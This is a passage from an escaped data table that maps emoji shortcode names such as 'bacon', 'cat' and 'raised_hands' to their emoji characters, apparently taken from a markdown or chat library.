022,arrow_up_small:\u0022🔼\u0022,arrow_upper_left:\u0022↖️\u0022,arrow_upper_right:\u0022↗️\u0022,arrows_clockwise:\u0022🔃\u0022,arrows_counterclockwise:\u0022🔄\u0022,art:\u0022🎨\u0022,articulated_lorry:\u0022🚛\u0022,artificial_satellite:\u0022🛰\u0022,astonished:\u0022😲\u0022,athletic_shoe:\u0022👟\u0022,atm:\u0022🏧\u0022,atom_symbol:\u0022⚛️\u0022,avocado:\u0022🥑\u0022,b:\u0022🅱️\u0022,baby:\u0022👶\u0022,baby_bottle:\u0022🍼\u0022,baby_chick:\u0022🐤\u0022,baby_symbol:\u0022🚼\u0022,back:\u0022🔙\u0022,bacon:\u0022🥓\u0022,badminton:\u0022🏸\u0022,baggage_claim:\u0022🛄\u0022,baguette_bread:\u0022🥖\u0022,balance_scale:\u0022⚖️\u0022,balloon:\u0022🎈\u0022,ballot_box:\u0022🗳\u0022,ballot_box_with_check:\u0022☑️\u0022,bamboo:\u0022🎍\u0022,banana:\u0022🍌\u0022,bangbang:\u0022‼️\u0022,bank:\u0022🏦\u0022,bar_chart:\u0022📊\u0022,barber:\u0022💈\u0022,baseball:\u0022⚾️\u0022,basketball:\u0022🏀\u0022,basketball_man:\u0022⛹️\u0022,basketball_woman:\u0022⛹️\u0026zwj;♀️\u0022,bat:\u0022🦇\u0022,bath:\u0022🛀\u0022,bathtub:\u0022🛁\u0022,battery:\u0022🔋\u0022,beach_umbrella:\u0022🏖\u0022,bear:\u0022🐻\u0022,bed:\u0022🛏\u0022,bee:\u0022🐝\u0022,beer:\u0022🍺\u0022,beers:\u0022🍻\u0022,beetle:\u0022🐞\u0022,beginner:\u0022🔰\u0022,bell:\u0022🔔\u0022,bellhop_bell:\u0022🛎\u0022,bento:\u0022🍱\u0022,biking_man:\u0022🚴\u0022,bike:\u0022🚲\u0022,biking_woman:\u0022🚴\u0026zwj;♀️\u0022,bikini:\u0022👙\u0022,biohazard:\u0022☣️\u0022,bird:\u0022🐦\u0022,birthday:\u0022🎂\u0022,black_circle:\u0022⚫️\u0022,black_flag:\u0022🏴\u0022,black_heart:\u0022🖤\u0022,black_joker:\u0022🃏\u0022,black_large_square:\u0022⬛️\u0022,black_medium_small_square:\u0022◾️\u0022,black_medium_square:\u0022◼️\u0022,black_nib:\u0022✒️\u0022,black_small_square:\u0022▪️\u0022,black_square_button:\u0022🔲\u0022,blonde_man:\u0022👱\u0022,blonde_woman:\u0022👱\u0026zwj;♀️\u0022,blossom:\u0022🌼\u0022,blowfish:\u0022🐡\u0022,blue_book:\u0022📘\u0022,blue_car:\u0022🚙\u0022,blue_heart:\u0022💙\u0022,blush:\u0022😊\u0022,boar:\u0022🐗\u0022,boat:\u0022⛵️\u0022,bomb:\u0022💣\u0022,book:\u0022📖\u0022,bookmark:\u0022🔖\u0022,bookmark_tabs:\u0022📑\u0022,books:\u0022📚\u0022,boom:\u0022💥\u0022,boot:\u0022👢\u0022,bouquet:\u0022💐\u0022,bowing_man:\u0022🙇\u0022,bow_and_arrow:\u0022🏹\u0022,bowing_woman:\u0022🙇\u0026zwj;♀️\u0022,bowling:\u0022🎳\u0022,boxing_glove:\u0022🥊\u0022,boy:\u0022👦\u0022,bread:\u0022🍞\u0022,bride_with_veil:\u0022👰\u0022,bridge_at_night:\u0022🌉\u0022,briefcase:\u0022💼\u0022,broken_heart:\u0022💔\u0022,bug:\u0022🐛\u0022,building_construction:\u0022🏗\u0022,bulb:\u0022💡\u0022,bullettrain_front:\u0022🚅\u0022,bullettrain_side:\u0022🚄\u0022,burrito:\u0022🌯\u0022,bus:\u0022🚌\u0022,business_suit_levitating:\u0022🕴\u0022,busstop:\u0022🚏\u0022,bust_in_silhouette:\u0022👤\u0022,busts_in_silhouette:\u0022👥\u0022,butterfly:\u0022🦋\u0022,cactus:\u0022🌵\u0022,cake:\u0022🍰\u0022,calendar:\u0022📆\u0022,call_me_hand:\u0022🤙\u0022,calling:\u0022📲\u0022,camel:\u0022🐫\u0022,camera:\u0022📷\u0022,camera_flash:\u0022📸\u0022,camping:\u0022🏕\u0022,cancer:\u0022♋️\u0022,candle:\u0022🕯\u0022,candy:\u0022🍬\u0022,canoe:\u0022🛶\u0022,capital_abcd:\u0022🔠\u0022,capricorn:\u0022♑️\u0022,car:\u0022🚗\u0022,card_file_box:\u0022🗃\u0022,card_index:\u0022📇\u0022,card_index_dividers:\u0022🗂\u0022,carousel_horse:\u0022🎠\u0022,carrot:\u0022🥕\u0022,cat:\u0022🐱\u0022,cat2:\u0022🐈\u0022,cd:\u0022💿\u0022,chains:\u0022⛓\u0022,champagne:\u0022🍾\u0022,chart:\u0022💹\u0022,chart_with_downwards_trend:\u0022📉\u0022,chart_with_upwards_trend:\u0022📈\u0022,checkered_flag:\u0022🏁\u0022,cheese:\u0022🧀\u0022,cherries:\u0022🍒\u0022,cherry_blossom:\u0022🌸\u0022,chestnut:\u0022🌰\u0022,chicken:\u0022🐔\u0022,children_crossing:\u0022🚸\u0022,chipmunk:\u0022🐿\u0022,chocolate_bar:\u0022🍫\u0022,christmas_tree:\u0022🎄\u0022,church:\u0022⛪️\u0022,cinema:\u0022🎦\u0022,circus_tent:\u0022🎪\u0022,city_sunrise:\u0022🌇\u0022,city_sunset:\u0022🌆\u0022,cityscape:\u0022🏙\u0022,cl:\u0022🆑\u0022,clamp:\u0022🗜\u0022,clap:\u0022👏\u0022,clapper:\u0022🎬\u0022,classical_building:\u0022🏛\u0022,clinking_glasses:\u0022🥂\u0022,clipboard:\u0022📋\u0022,clock1:\u0022🕐\u0022,clock10:\u0022🕙\u0022,clock1030:\u0022🕥\u0022,clock11:\u0022🕚\u0022,clock1130:\u0022🕦\u0022,clock12:\u0022🕛\u0022,clock1230:\u0022🕧\u0022,clock130:\u0022🕜\u0022,clock2:\u0022🕑\u0022,clock230:\u0022🕝\u0022,clock3:\u0022🕒\u0022,clock330:\u0022🕞\u0022,clock4:\u0022🕓\u0022,clock430:\u0022🕟\u0022,clock5:\u0022🕔\u0022,clock530:\u0022🕠\u0022,clock6:\u0022🕕\u0022,clock630:\u0022🕡\u0022,clock7:\u0022🕖\u0022,clock730:\u0022🕢\u0022,clock8:\u0022🕗\u0022,clock830:\u0022🕣\u0022,clock9:\u0022🕘\u0022,clock930:\u0022🕤\u0022,closed_book:\u0022📕\u0022,closed_lock_with_key:\u0022🔐\u0022,closed_umbrella:\u0022🌂\u0022,cloud:\u0022☁️\u0022,cloud_with_lightning:\u0022🌩\u0022,cloud_with_lightning_and_rain:\u0022⛈\u0022,cloud_with_rain:\u0022🌧\u0022,cloud_with_snow:\u0022🌨\u0022,clown_face:\u0022🤡\u0022,clubs:\u0022♣️\u0022,cocktail:\u0022🍸\u0022,coffee:\u0022☕️\u0022,coffin:\u0022⚰️\u0022,cold_sweat:\u0022😰\u0022,comet:\u0022☄️\u0022,computer:\u0022💻\u0022,computer_mouse:\u0022🖱\u0022,confetti_ball:\u0022🎊\u0022,confounded:\u0022😖\u0022,confused:\u0022😕\u0022,congratulations:\u0022㊗️\u0022,construction:\u0022🚧\u0022,construction_worker_man:\u0022👷\u0022,construction_worker_woman:\u0022👷\u0026zwj;♀️\u0022,control_knobs:\u0022🎛\u0022,convenience_store:\u0022🏪\u0022,cookie:\u0022🍪\u0022,cool:\u0022🆒\u0022,policeman:\u0022👮\u0022,copyright:\u0022©️\u0022,corn:\u0022🌽\u0022,couch_and_lamp:\u0022🛋\u0022,couple:\u0022👫\u0022,couple_with_heart_woman_man:\u0022💑\u0022,couple_with_heart_man_man:\u0022👨\u0026zwj;❤️\u0026zwj;👨\u0022,couple_with_heart_woman_woman:\u0022👩\u0026zwj;❤️\u0026zwj;👩\u0022,couplekiss_man_man:\u0022👨\u0026zwj;❤️\u0026zwj;💋\u0026zwj;👨\u0022,couplekiss_man_woman:\u0022💏\u0022,couplekiss_woman_woman:\u0022👩\u0026zwj;❤️\u0026zwj;💋\u0026zwj;👩\u0022,cow:\u0022🐮\u0022,cow2:\u0022🐄\u0022,cowboy_hat_face:\u0022🤠\u0022,crab:\u0022🦀\u0022,crayon:\u0022🖍\u0022,credit_card:\u0022💳\u0022,crescent_moon:\u0022🌙\u0022,cricket:\u0022🏏\u0022,crocodile:\u0022🐊\u0022,croissant:\u0022🥐\u0022,crossed_fingers:\u0022🤞\u0022,crossed_flags:\u0022🎌\u0022,crossed_swords:\u0022⚔️\u0022,crown:\u0022👑\u0022,cry:\u0022😢\u0022,crying_cat_face:\u0022😿\u0022,crystal_ball:\u0022🔮\u0022,cucumber:\u0022🥒\u0022,cupid:\u0022💘\u0022,curly_loop:\u0022➰\u0022,currency_exchange:\u0022💱\u0022,curry:\u0022🍛\u0022,custard:\u0022🍮\u0022,customs:\u0022🛃\u0022,cyclone:\u0022🌀\u0022,dagger:\u0022🗡\u0022,dancer:\u0022💃\u0022,dancing_women:\u0022👯\u0022,dancing_men:\u0022👯\u0026zwj;♂️\u0022,dango:\u0022🍡\u0022,dark_sunglasses:\u0022🕶\u0022,dart:\u0022🎯\u0022,dash:\u0022💨\u0022,date:\u0022📅\u0022,deciduous_tree:\u0022🌳\u0022,deer:\u0022🦌\u0022,department_store:\u0022🏬\u0022,derelict_house:\u0022🏚\u0022,desert:\u0022🏜\u0022,desert_island:\u0022🏝\u0022,desktop_computer:\u0022🖥\u0022,male_detective:\u0022🕵️\u0022,diamond_shape_with_a_dot_inside:\u0022💠\u0022,diamonds:\u0022♦️\u0022,disappointed:\u0022😞\u0022,disappointed_relieved:\u0022😥\u0022,dizzy:\u0022💫\u0022,dizzy_face:\u0022😵\u0022,do_not_litter:\u0022🚯\u0022,dog:\u0022🐶\u0022,dog2:\u0022🐕\u0022,dollar:\u0022💵\u0022,dolls:\u0022🎎\u0022,dolphin:\u0022🐬\u0022,door:\u0022🚪\u0022,doughnut:\u0022🍩\u0022,dove:\u0022🕊\u0022,dragon:\u0022🐉\u0022,dragon_face:\u0022🐲\u0022,dress:\u0022👗\u0022,dromedary_camel:\u0022🐪\u0022,drooling_face:\u0022🤤\u0022,droplet:\u0022💧\u0022,drum:\u0022🥁\u0022,duck:\u0022🦆\u0022,dvd:\u0022📀\u0022,\u0022e-mail\u0022:\u0022📧\u0022,eagle:\u0022🦅\u0022,ear:\u0022👂\u0022,ear_of_rice:\u0022🌾\u0022,earth_africa:\u0022🌍\u0022,earth_americas:\u0022🌎\u0022,earth_asia:\u0022🌏\u0022,egg:\u0022🥚\u0022,eggplant:\u0022🍆\u0022,eight_pointed_black_star:\u0022✴️\u0022,eight_spoked_asterisk:\u0022✳️\u0022,electric_plug:\u0022🔌\u0022,elephant:\u0022🐘\u0022,email:\u0022✉️\u0022,end:\u0022🔚\u0022,envelope_with_arrow:\u0022📩\u0022,euro:\u0022💶\u0022,european_castle:\u0022🏰\u0022,european_post_office:\u0022🏤\u0022,evergreen_tree:\u0022🌲\u0022,exclamation:\u0022❗️\u0022,expressionless:\u0022😑\u0022,eye:\u0022👁\u0022,eye_speech_bubble:\u0022👁\u0026zwj;🗨\u0022,eyeglasses:\u0022👓\u0022,eyes:\u0022👀\u0022,face_with_head_bandage:\u0022🤕\u0022,face_with_thermometer:\u0022🤒\u0022,fist_oncoming:\u0022👊\u0022,factory:\u0022🏭\u0022,fallen_leaf:\u0022🍂\u0022,family_man_woman_boy:\u0022👪\u0022,family_man_boy:\u0022👨\u0026zwj;👦\u0022,family_man_boy_boy:\u0022👨\u0026zwj;👦\u0026zwj;👦\u0022,family_man_girl:\u0022👨\u0026zwj;👧\u0022,family_man_girl_boy:\u0022👨\u0026zwj;👧\u0026zwj;👦\u0022,family_man_girl_girl:\u0022👨\u0026zwj;👧\u0026zwj;👧\u0022,family_man_man_boy:\u0022👨\u0026zwj;👨\u0026zwj;👦\u0022,family_man_man_boy_boy:\u0022👨\u0026zwj;👨\u0026zwj;👦\u0026zwj;👦\u0022,family_man_man_girl:\u0022👨\u0026zwj;👨\u0026zwj;👧\u0022,family_man_man_girl_boy:\u0022👨\u0026zwj;👨\u0026zwj;👧\u0026zwj;👦\u0022,family_man_man_girl_girl:\u0022👨\u0026zwj;👨\u0026zwj;👧\u0026zwj;👧\u0022,family_man_woman_boy_boy:\u0022👨\u0026zwj;👩\u0026zwj;👦\u0026zwj;👦\u0022,family_man_woman_girl:\u0022👨\u0026zwj;👩\u0026zwj;👧\u0022,family_man_woman_girl_boy:\u0022👨\u0026zwj;👩\u0026zwj;👧\u0026zwj;👦\u0022,family_man_woman_girl_girl:\u0022👨\u0026zwj;👩\u0026zwj;👧\u0026zwj;👧\u0022,family_woman_boy:\u0022👩\u0026zwj;👦\u0022,family_woman_boy_boy:\u0022👩\u0026zwj;👦\u0026zwj;👦\u0022,family_woman_girl:\u0022👩\u0026zwj;👧\u0022,family_woman_girl_boy:\u0022👩\u0026zwj;👧\u0026zwj;👦\u0022,family_woman_girl_girl:\u0022👩\u0026zwj;👧\u0026zwj;👧\u0022,family_woman_woman_boy:\u0022👩\u0026zwj;👩\u0026zwj;👦\u0022,family_woman_woman_boy_boy:\u0022👩\u0026zwj;👩\u0026zwj;👦\u0026zwj;👦\u0022,family_woman_woman_girl:\u0022👩\u0026zwj;👩\u0026zwj;👧\u0022,family_woman_woman_girl_boy:\u0022👩\u0026zwj;👩\u0026zwj;👧\u0026zwj;👦\u0022,family_woman_woman_girl_girl:\u0022👩\u0026zwj;👩\u0026zwj;👧\u0026zwj;👧\u0022,fast_forward:\u0022⏩\u0022,fax:\u0022📠\u0022,fearful:\u0022😨\u0022,feet:\u0022🐾\u0022,female_detective:\u0022🕵️\u0026zwj;♀️\u0022,ferris_wheel:\u0022🎡\u0022,ferry:\u0022⛴\u0022,field_hockey:\u0022🏑\u0022,file_cabinet:\u0022🗄\u0022,file_folder:\u0022📁\u0022,film_projector:\u0022📽\u0022,film_strip:\u0022🎞\u0022,fire:\u0022🔥\u0022,fire_engine:\u0022🚒\u0022,fireworks:\u0022🎆\u0022,first_quarter_moon:\u0022🌓\u0022,first_quarter_moon_with_face:\u0022🌛\u0022,fish:\u0022🐟\u0022,fish_cake:\u0022🍥\u0022,fishing_pole_and_fish:\u0022🎣\u0022,fist_raised:\u0022✊\u0022,fist_left:\u0022🤛\u0022,fist_right:\u0022🤜\u0022,flags:\u0022🎏\u0022,flashlight:\u0022🔦\u0022,fleur_de_lis:\u0022⚜️\u0022,flight_arrival:\u0022🛬\u0022,flight_departure:\u0022🛫\u0022,floppy_disk:\u0022💾\u0022,flower_playing_cards:\u0022🎴\u0022,flushed:\u0022😳\u0022,fog:\u0022🌫\u0022,foggy:\u0022🌁\u0022,football:\u0022🏈\u0022,footprints:\u0022👣\u0022,fork_and_knife:\u0022🍴\u0022,fountain:\u0022⛲️\u0022,fountain_pen:\u0022🖋\u0022,four_leaf_clover:\u0022🍀\u0022,fox_face:\u0022🦊\u0022,framed_picture:\u0022🖼\u0022,free:\u0022🆓\u0022,fried_egg:\u0022🍳\u0022,fried_shrimp:\u0022🍤\u0022,fries:\u0022🍟\u0022,frog:\u0022🐸\u0022,frowning:\u0022😦\u0022,frowning_face:\u0022☹️\u0022,frowning_man:\u0022🙍\u0026zwj;♂️\u0022,frowning_woman:\u0022🙍\u0022,middle_finger:\u0022🖕\u0022,fuelpump:\u0022⛽️\u0022,full_moon:\u0022🌕\u0022,full_moon_with_face:\u0022🌝\u0022,funeral_urn:\u0022⚱️\u0022,game_die:\u0022🎲\u0022,gear:\u0022⚙️\u0022,gem:\u0022💎\u0022,gemini:\u0022♊️\u0022,ghost:\u0022👻\u0022,gift:\u0022🎁\u0022,gift_heart:\u0022💝\u0022,girl:\u0022👧\u0022,globe_with_meridians:\u0022🌐\u0022,goal_net:\u0022🥅\u0022,goat:\u0022🐐\u0022,golf:\u0022⛳️\u0022,golfing_man:\u0022🏌️\u0022,golfing_woman:\u0022🏌️\u0026zwj;♀️\u0022,gorilla:\u0022🦍\u0022,grapes:\u0022🍇\u0022,green_apple:\u0022🍏\u0022,green_book:\u0022📗\u0022,green_heart:\u0022💚\u0022,green_salad:\u0022🥗\u0022,grey_exclamation:\u0022❕\u0022,grey_question:\u0022❔\u0022,grimacing:\u0022😬\u0022,grin:\u0022😁\u0022,grinning:\u0022😀\u0022,guardsman:\u0022💂\u0022,guardswoman:\u0022💂\u0026zwj;♀️\u0022,guitar:\u0022🎸\u0022,gun:\u0022🔫\u0022,haircut_woman:\u0022💇\u0022,haircut_man:\u0022💇\u0026zwj;♂️\u0022,hamburger:\u0022🍔\u0022,hammer:\u0022🔨\u0022,hammer_and_pick:\u0022⚒\u0022,hammer_and_wrench:\u0022🛠\u0022,hamster:\u0022🐹\u0022,hand:\u0022✋\u0022,handbag:\u0022👜\u0022,handshake:\u0022🤝\u0022,hankey:\u0022💩\u0022,hatched_chick:\u0022🐥\u0022,hatching_chick:\u0022🐣\u0022,headphones:\u0022🎧\u0022,hear_no_evil:\u0022🙉\u0022,heart:\u0022❤️\u0022,heart_decoration:\u0022💟\u0022,heart_eyes:\u0022😍\u0022,heart_eyes_cat:\u0022😻\u0022,heartbeat:\u0022💓\u0022,heartpulse:\u0022💗\u0022,hearts:\u0022♥️\u0022,heavy_check_mark:\u0022✔️\u0022,heavy_division_sign:\u0022➗\u0022,heavy_dollar_sign:\u0022💲\u0022,heavy_heart_exclamation:\u0022❣️\u0022,heavy_minus_sign:\u0022➖\u0022,heavy_multiplication_x:\u0022✖️\u0022,heavy_plus_sign:\u0022➕\u0022,helicopter:\u0022🚁\u0022,herb:\u0022🌿\u0022,hibiscus:\u0022🌺\u0022,high_brightness:\u0022🔆\u0022,high_heel:\u0022👠\u0022,hocho:\u0022🔪\u0022,hole:\u0022🕳\u0022,honey_pot:\u0022🍯\u0022,horse:\u0022🐴\u0022,horse_racing:\u0022🏇\u0022,hospital:\u0022🏥\u0022,hot_pepper:\u0022🌶\u0022,hotdog:\u0022🌭\u0022,hotel:\u0022🏨\u0022,hotsprings:\u0022♨️\u0022,hourglass:\u0022⌛️\u0022,hourglass_flowing_sand:\u0022⏳\u0022,house:\u0022🏠\u0022,house_with_garden:\u0022🏡\u0022,houses:\u0022🏘\u0022,hugs:\u0022🤗\u0022,hushed:\u0022😯\u0022,ice_cream:\u0022🍨\u0022,ice_hockey:\u0022🏒\u0022,ice_skate:\u0022⛸\u0022,icecream:\u0022🍦\u0022,id:\u0022🆔\u0022,ideograph_advantage:\u0022🉐\u0022,imp:\u0022👿\u0022,inbox_tray:\u0022📥\u0022,incoming_envelope:\u0022📨\u0022,tipping_hand_woman:\u0022💁\u0022,information_source:\u0022ℹ️\u0022,innocent:\u0022😇\u0022,interrobang:\u0022⁉️\u0022,iphone:\u0022📱\u0022,izakaya_lantern:\u0022🏮\u0022,jack_o_lantern:\u0022🎃\u0022,japan:\u0022🗾\u0022,japanese_castle:\u0022🏯\u0022,japanese_goblin:\u0022👺\u0022,japanese_ogre:\u0022👹\u0022,jeans:\u0022👖\u0022,joy:\u0022😂\u0022,joy_cat:\u0022😹\u0022,joystick:\u0022🕹\u0022,kaaba:\u0022🕋\u0022,key:\u0022🔑\u0022,keyboard:\u0022⌨️\u0022,keycap_ten:\u0022🔟\u0022,kick_scooter:\u0022🛴\u0022,kimono:\u0022👘\u0022,kiss:\u0022💋\u0022,kissing:\u0022😗\u0022,kissing_cat:\u0022😽\u0022,kissing_closed_eyes:\u0022😚\u0022,kissing_heart:\u0022😘\u0022,kissing_smiling_eyes:\u0022😙\u0022,kiwi_fruit:\u0022🥝\u0022,koala:\u0022🐨\u0022,koko:\u0022🈁\u0022,label:\u0022🏷\u0022,large_blue_circle:\u0022🔵\u0022,large_blue_diamond:\u0022🔷\u0022,large_orange_diamond:\u0022🔶\u0022,last_quarter_moon:\u0022🌗\u0022,last_quarter_moon_with_face:\u0022🌜\u0022,latin_cross:\u0022✝️\u0022,laughing:\u0022😆\u0022,leaves:\u0022🍃\u0022,ledger:\u0022📒\u0022,left_luggage:\u0022🛅\u0022,left_right_arrow:\u0022↔️\u0022,leftwards_arrow_with_hook:\u0022↩️\u0022,lemon:\u0022🍋\u0022,leo:\u0022♌️\u0022,leopard:\u0022🐆\u0022,level_slider:\u0022🎚\u0022,libra:\u0022♎️\u0022,light_rail:\u0022🚈\u0022,link:\u0022🔗\u0022,lion:\u0022🦁\u0022,lips:\u0022👄\u0022,lipstick:\u0022💄\u0022,lizard:\u0022🦎\u0022,lock:\u0022🔒\u0022,lock_with_ink_pen:\u0022🔏\u0022,lollipop:\u0022🍭\u0022,loop:\u0022➿\u0022,loud_sound:\u0022🔊\u0022,loudspeaker:\u0022📢\u0022,love_hotel:\u0022🏩\u0022,love_letter:\u0022💌\u0022,low_brightness:\u0022🔅\u0022,lying_face:\u0022🤥\u0022,m:\u0022Ⓜ️\u0022,mag:\u0022🔍\u0022,mag_right:\u0022🔎\u0022,mahjong:\u0022🀄️\u0022,mailbox:\u0022📫\u0022,mailbox_closed:\u0022📪\u0022,mailbox_with_mail:\u0022📬\u0022,mailbox_with_no_mail:\u0022📭\u0022,man:\u0022👨\u0022,man_artist:\u0022👨\u0026zwj;🎨\u0022,man_astronaut:\u0022👨\u0026zwj;🚀\u0022,man_cartwheeling:\u0022🤸\u0026zwj;♂️\u0022,man_cook:\u0022👨\u0026zwj;🍳\u0022,man_dancing:\u0022🕺\u0022,man_facepalming:\u0022🤦\u0026zwj;♂️\u0022,man_factory_worker:\u0022👨\u0026zwj;🏭\u0022,man_farmer:\u0022👨\u0026zwj;🌾\u0022,man_firefighter:\u0022👨\u0026zwj;🚒\u0022,man_health_worker:\u0022👨\u0026zwj;⚕️\u0022,man_in_tuxedo:\u0022🤵\u0022,man_judge:\u0022👨\u0026zwj;⚖️\u0022,man_juggling:\u0022🤹\u0026zwj;♂️\u0022,man_mechanic:\u0022👨\u0026zwj;🔧\u0022,man_office_worker:\u0022👨\u0026zwj;💼\u0022,man_pilot:\u0022👨\u0026zwj;✈️\u0022,man_playing_handball:\u0022🤾\u0026zwj;♂️\u0022,man_playing_water_polo:\u0022🤽\u0026zwj;♂️\u0022,man_scientist:\u0022👨\u0026zwj;🔬\u0022,man_shrugging:\u0022🤷\u0026zwj;♂️\u0022,man_singer:\u0022👨\u0026zwj;🎤\u0022,man_student:\u0022👨\u0026zwj;🎓\u0022,man_teacher:\u0022👨\u0026zwj;🏫\u0022,man_technologist:\u0022👨\u0026zwj;💻\u0022,man_with_gua_pi_mao:\u0022👲\u0022,man_with_turban:\u0022👳\u0022,tangerine:\u0022🍊\u0022,mans_shoe:\u0022👞\u0022,mantelpiece_clock:\u0022🕰\u0022,maple_leaf:\u0022🍁\u0022,martial_arts_uniform:\u0022🥋\u0022,mask:\u0022😷\u0022,massage_woman:\u0022💆\u0022,massage_man:\u0022💆\u0026zwj;♂️\u0022,meat_on_bone:\u0022🍖\u0022,medal_military:\u0022🎖\u0022,medal_sports:\u0022🏅\u0022,mega:\u0022📣\u0022,melon:\u0022🍈\u0022,memo:\u0022📝\u0022,men_wrestling:\u0022🤼\u0026zwj;♂️\u0022,menorah:\u0022🕎\u0022,mens:\u0022🚹\u0022,metal:\u0022🤘\u0022,metro:\u0022🚇\u0022,microphone:\u0022🎤\u0022,microscope:\u0022🔬\u0022,milk_glass:\u0022🥛\u0022,milky_way:\u0022🌌\u0022,minibus:\u0022🚐\u0022,minidisc:\u0022💽\u0022,mobile_phone_off:\u0022📴\u0022,money_mouth_face:\u0022🤑\u0022,money_with_wings:\u0022💸\u0022,moneybag:\u0022💰\u0022,monkey:\u0022🐒\u0022,monkey_face:\u0022🐵\u0022,monorail:\u0022🚝\u0022,moon:\u0022🌔\u0022,mortar_board:\u0022🎓\u0022,mosque:\u0022🕌\u0022,motor_boat:\u0022🛥\u0022,motor_scooter:\u0022🛵\u0022,motorcycle:\u0022🏍\u0022,motorway:\u0022🛣\u0022,mount_fuji:\u0022🗻\u0022,mountain:\u0022⛰\u0022,mountain_biking_man:\u0022🚵\u0022,mountain_biking_woman:\u0022🚵\u0026zwj;♀️\u0022,mountain_cableway:\u0022🚠\u0022,mountain_railway:\u0022🚞\u0022,mountain_snow:\u0022🏔\u0022,mouse:\u0022🐭\u0022,mouse2:\u0022🐁\u0022,movie_camera:\u0022🎥\u0022,moyai:\u0022🗿\u0022,mrs_claus:\u0022🤶\u0022,muscle:\u0022💪\u0022,mushroom:\u0022🍄\u0022,musical_keyboard:\u0022🎹\u0022,musical_note:\u0022🎵\u0022,musical_score:\u0022🎼\u0022,mute:\u0022🔇\u0022,nail_care:\u0022💅\u0022,name_badge:\u0022📛\u0022,national_park:\u0022🏞\u0022,nauseated_face:\u0022🤢\u0022,necktie:\u0022👔\u0022,negative_squared_cross_mark:\u0022❎\u0022,nerd_face:\u0022🤓\u0022,neutral_face:\u0022😐\u0022,new:\u0022🆕\u0022,new_moon:\u0022🌑\u0022,new_moon_with_face:\u0022🌚\u0022,newspaper:\u0022📰\u0022,newspaper_roll:\u0022🗞\u0022,next_track_button:\u0022⏭\u0022,ng:\u0022🆖\u0022,no_good_man:\u0022🙅\u0026zwj;♂️\u0022,no_good_woman:\u0022🙅\u0022,night_with_stars:\u0022🌃\u0022,no_bell:\u0022🔕\u0022,no_bicycles:\u0022🚳\u0022,no_entry:\u0022⛔️\u0022,no_entry_sign:\u0022🚫\u0022,no_mobile_phones:\u0022📵\u0022,no_mouth:\u0022😶\u0022,no_pedestrians:\u0022🚷\u0022,no_smoking:\u0022🚭\u0022,\u0022non-potable_water\u0022:\u0022🚱\u0022,nose:\u0022👃\u0022,notebook:\u0022📓\u0022,notebook_with_decorative_cover:\u0022📔\u0022,notes:\u0022🎶\u0022,nut_and_bolt:\u0022🔩\u0022,o:\u0022⭕️\u0022,o2:\u0022🅾️\u0022,ocean:\u0022🌊\u0022,octopus:\u0022🐙\u0022,oden:\u0022🍢\u0022,office:\u0022🏢\u0022,oil_drum:\u0022🛢\u0022,ok:\u0022🆗\u0022,ok_hand:\u0022👌\u0022,ok_man:\u0022🙆\u0026zwj;♂️\u0022,ok_woman:\u0022🙆\u0022,old_key:\u0022🗝\u0022,older_man:\u0022👴\u0022,older_woman:\u0022👵\u0022,om:\u0022🕉\u0022,on:\u0022🔛\u0022,oncoming_automobile:\u0022🚘\u0022,oncoming_bus:\u0022🚍\u0022,oncoming_police_car:\u0022🚔\u0022,oncoming_taxi:\u0022🚖\u0022,open_file_folder:\u0022📂\u0022,open_hands:\u0022👐\u0022,open_mouth:\u0022😮\u0022,open_umbrella:\u0022☂️\u0022,ophiuchus:\u0022⛎\u0022,orange_book:\u0022📙\u0022,orthodox_cross:\u0022☦️\u0022,outbox_tray:\u0022📤\u0022,owl:\u0022🦉\u0022,ox:\u0022🐂\u0022,package:\u0022📦\u0022,page_facing_up:\u0022📄\u0022,page_with_curl:\u0022📃\u0022,pager:\u0022📟\u0022,paintbrush:\u0022🖌\u0022,palm_tree:\u0022🌴\u0022,pancakes:\u0022🥞\u0022,panda_face:\u0022🐼\u0022,paperclip:\u0022📎\u0022,paperclips:\u0022🖇\u0022,parasol_on_ground:\u0022⛱\u0022,parking:\u0022🅿️\u0022,part_alternation_mark:\u0022〽️\u0022,partly_sunny:\u0022⛅️\u0022,passenger_ship:\u0022🛳\u0022,passport_control:\u0022🛂\u0022,pause_button:\u0022⏸\u0022,peace_symbol:\u0022☮️\u0022,peach:\u0022🍑\u0022,peanuts:\u0022🥜\u0022,pear:\u0022🍐\u0022,pen:\u0022🖊\u0022,pencil2:\u0022✏️\u0022,penguin:\u0022🐧\u0022,pensive:\u0022😔\u0022,performing_arts:\u0022🎭\u0022,persevere:\u0022😣\u0022,person_fencing:\u0022🤺\u0022,pouting_woman:\u0022🙎\u0022,phone:\u0022☎️\u0022,pick:\u0022⛏\u0022,pig:\u0022🐷\u0022,pig2:\u0022🐖\u0022,pig_nose:\u0022🐽\u0022,pill:\u0022💊\u0022,pineapple:\u0022🍍\u0022,ping_pong:\u0022🏓\u0022,pisces:\u0022♓️\u0022,pizza:\u0022🍕\u0022,place_of_worship:\u0022🛐\u0022,plate_with_cutlery:\u0022🍽\u0022,play_or_pause_button:\u0022⏯\u0022,point_down:\u0022👇\u0022,point_left:\u0022👈\u0022,point_right:\u0022👉\u0022,point_up:\u0022☝️\u0022,point_up_2:\u0022👆\u0022,police_car:\u0022🚓\u0022,policewoman:\u0022👮\u0026zwj;♀️\u0022,poodle:\u0022🐩\u0022,popcorn:\u0022🍿\u0022,post_office:\u0022🏣\u0022,postal_horn:\u0022📯\u0022,postbox:\u0022📮\u0022,potable_water:\u0022🚰\u0022,potato:\u0022🥔\u0022,pouch:\u0022👝\u0022,poultry_leg:\u0022🍗\u0022,pound:\u0022💷\u0022,rage:\u0022😡\u0022,pouting_cat:\u0022😾\u0022,pouting_man:\u0022🙎\u0026zwj;♂️\u0022,pray:\u0022🙏\u0022,prayer_beads:\u0022📿\u0022,pregnant_woman:\u0022🤰\u0022,previous_track_button:\u0022⏮\u0022,prince:\u0022🤴\u0022,princess:\u0022👸\u0022,printer:\u0022🖨\u0022,purple_heart:\u0022💜\u0022,purse:\u0022👛\u0022,pushpin:\u0022📌\u0022,put_litter_in_its_place:\u0022🚮\u0022,question:\u0022❓\u0022,rabbit:\u0022🐰\u0022,rabbit2:\u0022🐇\u0022,racehorse:\u0022🐎\u0022,racing_car:\u0022🏎\u0022,radio:\u0022📻\u0022,radio_button:\u0022🔘\u0022,radioactive:\u0022☢️\u0022,railway_car:\u0022🚃\u0022,railway_track:\u0022🛤\u0022,rainbow:\u0022🌈\u0022,rainbow_flag:\u0022🏳️\u0026zwj;🌈\u0022,raised_back_of_hand:\u0022🤚\u0022,raised_hand_with_fingers_splayed:\u0022🖐\u0022,raised_hands:\u0022